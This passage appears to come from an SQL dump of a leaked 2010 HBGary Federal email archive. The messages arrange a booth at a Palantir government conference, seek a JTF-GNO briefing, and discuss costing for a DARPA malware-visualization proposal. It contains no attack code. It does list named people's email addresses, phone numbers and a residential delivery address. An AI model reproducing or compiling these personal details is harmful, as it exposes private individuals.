Genome.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTim. &nbsp;What should I do about our booth? &nbsp;Right now\r\nit is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know best.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 5:23 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously\r\nmention our HBGary connections as well.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know what you think.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9418,'aaron_hbgary_com/9418.html'),(4433,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002525.M706137P3547Q4433.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Fwd: JTF-GNO','Just got the info, sorry for delay.  The Ritz-Carlton is the one in Tysons Corner.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Timothy Ronan \r\n> Date: March 24, 2010 10:46:13 AM EDT\r\n> To: Aaron Barr , Matthew Steckman \r\n> Subject: RE: JTF-GNO\r\n> \r\n> Hi Aaron,\r\n>  \r\n> If it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.  Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.\r\n>  \r\n> Our office mailing address is:\r\n> 1660 International Dr., Suite 800\r\n> McLean, VA 22102\r\n>  \r\n> Let me know if you decide to mail it here so I can keep an eye out for it.\r\n>  \r\n> Thanks,\r\n> Tim\r\n>  \r\n> PS. Also attached the conference partner guide for your reference.\r\n>  \r\n> _________________________________________________________\r\n> Tim Ronan\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> tronan@palantirtech.com | 571.225.6179\r\n> _________________________________________________________\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 9:03 PM\r\n> To: Matthew Steckman\r\n> Cc: Timothy Ronan\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Thanks Matt.\r\n>  \r\n> I will have more time once the DARPA proposal is in on Monday.  Right now my brain is full with Cyber Genome.\r\n>  \r\n> Tim.  What should I do about our booth?  Right now it is in DC and we can keep it here and have it shipped to your location.\r\n>  \r\n> Aaron\r\n>  \r\n> On Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n> \r\n> \r\n> Excellent on JTF.\r\n>  \r\n> In terms of booth stuff, Ive CCed Tim…..he’ll know best.\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 5:23 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Hey Matt.  Let me see what I can dig up.  Jtf would be am interesting deployment.  I think I may have let a few government contacts.  Certainly have some NG contacts I could reach out to.\r\n>  \r\n> What address should I give the cpany for our booth?  Or do u supply booths?\r\n>  \r\n> How does all that work?\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Mar 23, 2010, at 12:01 PM, Matthew Steckman  wrote:\r\n> \r\n> Aaron,\r\n>  \r\n> We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.  Im wondering if you still have any connections there and might set up a short briefing for us.  Federal leadership is obviously preferred, but any foot in the door would be appreciated.  We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.  We’d obviously mention our HBGary connections as well. \r\n>  \r\n> Let me know what you think.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5930,'aaron_hbgary_com/5930.html'),(4434,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002526.M544118P3547Q4434.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: JTF-GNO','Just got the information.  The Ritz is the one in Tysons Corner.\r\n\r\nAaron\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Timothy Ronan \r\n> Date: March 24, 2010 10:46:13 AM EDT\r\n> To: Aaron Barr , Matthew Steckman \r\n> Subject: RE: JTF-GNO\r\n> \r\n> Hi Aaron,\r\n>  \r\n> If it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.  Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.\r\n>  \r\n> Our office mailing address is:\r\n> 1660 International Dr., Suite 800\r\n> McLean, VA 22102\r\n>  \r\n> Let me know if you decide to mail it here so I can keep an eye out for it.\r\n>  \r\n> Thanks,\r\n> Tim\r\n>  \r\n> PS. Also attached the conference partner guide for your reference.\r\n>  \r\n> _________________________________________________________\r\n> Tim Ronan\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> tronan@palantirtech.com | 571.225.6179\r\n> _________________________________________________________\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 9:03 PM\r\n> To: Matthew Steckman\r\n> Cc: Timothy Ronan\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Thanks Matt.\r\n>  \r\n> I will have more time once the DARPA proposal is in on Monday.  Right now my brain is full with Cyber Genome.\r\n>  \r\n> Tim.  What should I do about our booth?  Right now it is in DC and we can keep it here and have it shipped to your location.\r\n>  \r\n> Aaron\r\n>  \r\n> On Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n> \r\n> \r\n> Excellent on JTF.\r\n>  \r\n> In terms of booth stuff, Ive CCed Tim…..he’ll know best.\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 5:23 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Hey Matt.  Let me see what I can dig up.  Jtf would be am interesting deployment.  I think I may have let a few government contacts.  Certainly have some NG contacts I could reach out to.\r\n>  \r\n> What address should I give the cpany for our booth?  Or do u supply booths?\r\n>  \r\n> How does all that work?\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Mar 23, 2010, at 12:01 PM, Matthew Steckman  wrote:\r\n> \r\n> Aaron,\r\n>  \r\n> We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.  Im wondering if you still have any connections there and might set up a short briefing for us.  Federal leadership is obviously preferred, but any foot in the door would be appreciated.  We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.  We’d obviously mention our HBGary connections as well. \r\n>  \r\n> Let me know what you think.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2740,'aaron_hbgary_com/2740.html'),(4435,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002526.M892326P3547Q4435.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Palantir Technologies\' 5th Government Conference','What&#39;s the status of the palantir integration effort? Begin forwarded message:From: Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\nDate: March 24, 2010 7:41:38 AM MDTTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;Subject: Palantir Technologies&#39; 5th Government Conference\r\n\r\n\r\n\r\n\r\nThe 5th Palantir Government\r\nConference is two weeks away and will be the largest yet!  There are a limited\r\nnumber of seats still available so be sure to register before the conference is\r\nSOLD OUT.\r\n\r\nThe 5th Palantir Government\r\nConference is scheduled for April 7, 2010 at the Ritz-Carlton - Tysons Corner. \r\nThe conference will feature presentations by Palantir and customers ranging\r\nfrom cyber security to combating\r\nfraud with open source data.  On-site training will also be available\r\nthroughout the day for anyone interested in learning about the platform\r\nfirst-hand.  For additional details and to see a complete\r\nagenda, visit our Web site.\r\n\r\n5th Palantir Government\r\nConference\r\n\r\nApril 7, 2010, 10 AM –\r\n5 PM\r\n\r\nRitz-Carlton – Tysons\r\nCorner\r\n\r\nRSVP:  http://palantirtech.eventbrite.com\r\n\r\n \r\n\r\nE-mail inquiries can be sent to:\r\ngovcon@palantirtech.com. \r\n\r\nWe look forward to seeing\r\nyou there. \r\n\r\nSincerely, \r\n\r\nShyam Sankar\r\nDirector, Forward Deployed Engineering\r\nPalantir Technologies\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11513,'aaron_hbgary_com/11513.html'),(4436,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002527.M140216P3547Q4436.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Palantir Technologies\' 5th Government Conference','Not great but we are going to have a booth at the show. &nbsp;Myself, and Phil/Rich/Bob will man. &nbsp;We will display our technologies, have copies of the Aurora Report and talk about our integration with Palantir efforts. &nbsp;Palantir was happy with that.AaronOn Mar 24, 2010, at 10:48 AM, Ted Vera wrote:What\'s the status of the palantir integration effort?&nbsp;Begin forwarded message:From: Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\nDate: March 24, 2010 7:41:38 AM MDTTo: \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;Subject: Palantir Technologies\' 5th Government Conference\r\n\r\n\r\nThe 5th Palantir Government\r\nConference is two weeks away and will be the largest yet!&nbsp; There are a limited\r\nnumber of seats still available so be sure to register before the conference is\r\nSOLD OUT.The 5th Palantir Government\r\nConference is scheduled for April 7, 2010 at the Ritz-Carlton - Tysons Corner.&nbsp;\r\nThe conference will feature presentations by Palantir and customers ranging\r\nfrom cyber security to combating\r\nfraud with open source data.&nbsp; On-site training will also be available\r\nthroughout the day for anyone interested in learning about the platform\r\nfirst-hand.&nbsp; For additional details and to see a complete\r\nagenda, visit our Web site.5th Palantir Government\r\nConferenceApril 7, 2010, 10 AM –\r\n5 PMRitz-Carlton – Tysons\r\nCornerRSVP:&nbsp; http://palantirtech.eventbrite.com&nbsp;E-mail inquiries can be sent to:\r\ngovcon@palantirtech.com. We look forward to seeing\r\nyou there. Sincerely, \r\n\r\nShyam Sankar\r\nDirector, Forward Deployed Engineering\r\nPalantir Technologies&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4524,'aaron_hbgary_com/4524.html'),(4437,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002527.M603537P3547Q4437.eml','\"Kenny Prole\" <KennyP@avi.com>,\"Kenny Prole\" <KennyP@avi.com>,,,','Re: TA3 Secure Decisions RFP Clarification','Hi Ken,That was on purpose in discussions with Anita to reign in costs. &nbsp;The aim will be that we are part of the last teams standing and their will be additional funds in the out years to support further development.When can I expect to see updated costs for the plan? &nbsp;Are you on track to ship the sealed packages today or tomorrow?AaronOn Mar 24, 2010, at 8:59 AM, Kenny Prole wrote:Aaron,&nbsp;In reviewing the RFP/SOW you sent (also attached), I noticed there’s a gap from month 30-35 and no description for months 36-48. Was that your intent?&nbsp;Please review the current and proposed tasks below if indeed it was just oversight.&nbsp;Current:DateEffortMonths 1-6Define visualization requirements for the analysis of malware functionality and behaviors.Months 7-8Describe and document an architecture that visualizes malware functionality and behaviorsMonths 9-15Develop visualization prototypes to assist in the analysis of malware functionality and behaviors.Months 15-24Integrate and demonstrate progressively more complete visualization prototypesMonths 25-27Define requirements for the visualization of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues.Months 28-29Describe and document an architecture that visualizes aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues.Months 36-48&nbsp;&nbsp;Proposed:DateEffortMonths 1-6Define visualization requirements for the analysis of malware functionality and behaviors.Months 7-8Describe and document an architecture that visualizes malware functionality and behaviorsMonths 9-15Develop visualization prototypes to assist in the analysis of malware functionality and behaviors.Months 15-24Integrate and demonstrate progressively more complete visualization prototypesMonths 25-27Define requirements for the visualization of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).Months 28-29Describe and document an architecture that visualizes aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).Months 30-36Develop visualization prototype to assist in the analysis of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).Months 36-48Integrate and demonstrate progressively more complete visualization prototypes&nbsp;We’ll need this confirmation to finalize our costing.&nbsp;Thanks!&nbsp;---------------------------------------------------------------------Ken Prole ~ Project EngineerApplied Visions, Inc., Secure Decisions Division631.759.3907 ~&nbsp;securedecisions.avi.com----------------------------------------------------------------------&nbsp;&lt;RFP Secure Decisions Cyber Genome Program-TA3.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2523,'aaron_hbgary_com/2523.html'),(4438,'2010-03-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002527.M850713P3547Q4438.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhy did you send this to me?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 10:48 AM\r\nTo: Bob Slapnik\r\nCc: DeeAnn Buonaccorsi\r\nSubject: Fwd: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust got the information. &nbsp;The Ritz is the one in\r\nTysons Corner.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTimothy\r\nRonan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n24, 2010 10:46:13 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;, Matthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf it would be easiest to store local in DC prior to the\r\nconference, you are welcome to send it to our Tysons office.&nbsp;\r\nAlternatively, the Ritz-Carlton will be prepared to start receiving partner\r\nequipment on Monday, 4/5.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOur office mailing address is:\r\n\r\n\r\n\r\n\r\n\r\n1660 International Dr., Suite 800\r\n\r\n\r\n\r\n\r\n\r\nMcLean, VA 22102\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if you decide to mail it here so I can keep an eye\r\nout for it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPS. Also attached the conference partner guide for your\r\nreference.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 9:03 PM\r\nTo:&nbsp;Matthew Steckman\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will have more time once the DARPA proposal is in on\r\nMonday. &nbsp;Right now my brain is full with Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim. &nbsp;What should I do about our booth? &nbsp;Right now\r\nit is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know best.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 5:23 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously\r\nmention our HBGary connections as well.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know what you think.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/24/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16085,'aaron_hbgary_com/16085.html'),(4439,'2010-03-24','TrackingUpdates@fedex.com','/aaron@hbgary.com/new/1297002528.M308967P3547Q4440.eml','aaron@hbgary.com','FedEx MPS Shipment 798502211339 Delivered','________________________________________________________________________________ This tracking update has been requested by:  Company Name:GENERAL DYNAMICSName:Errin AutryE-mail:errin.autry@gd-ais.com________________________________________________________________________________  Our records indicate that the following MPS shipment has been delivered: Purchase order number:1300-C0100Reference:1000-H2248-273764Ship (P/U) date:Mar 23, 2010Delivery date:Mar 24, 2010 10:43 AMSign for by:Signature not requiredService type:FedEx Standard OvernightNumber of pieces:2Total shipment weight:3.00 lb.Special handling/Services:Residential DeliveryDeliver Weekday Master tracking number:798502211339 (1 of 2)Packaging type:FedEx BoxWeight:3.00 lb.  Tracking number:798502211372 (2 of 2)Packaging type:FedEx BoxWeight:5.00 lb.  Shipper InformationErrin AutryGENERAL DYNAMICS3133 General Hudnell Drive Ste 300San AntonioUS78226Recipient InformationAaron BarrHBGary1223 Potomac School Rd.McleanUS22101 Please do not respond to this message. This email was sent from an unattendedmailbox. This report was generated at approximately 10:16 AM  CDTon 03/24/2010. Learn more about new ways to track with FedEx. All weights are estimated. To track the latest status of your shipment, click on the tracking number above,or visit us at fedex.com. This tracking update has been sent to you by FedEx on the behalf of theRequestor noted above. FedEx does not validate the authenticity of therequestor and does not validate, guarantee or warrant the authenticity of therequest, the requestor\'s message, or the accuracy of this tracking update. Fortracking results and fedex.com\'s terms of use, go to fedex.com. Thank you for your business. ',6947,'aaron_hbgary_com/6947.html'),(4440,'2010-03-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002528.M539535P3547Q4441.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo, I&#8217;m not involved.&nbsp; Maria is at GovSec with the booth today.&nbsp;\r\nShe has shipping labels to send the booth somewhere, but I don&#8217;t know where it\r\nis being sent.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 11:05 AM\r\nTo: Bob Slapnik\r\nSubject: Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI thought Deeanne said she was working with you for the\r\nshipping of the demo 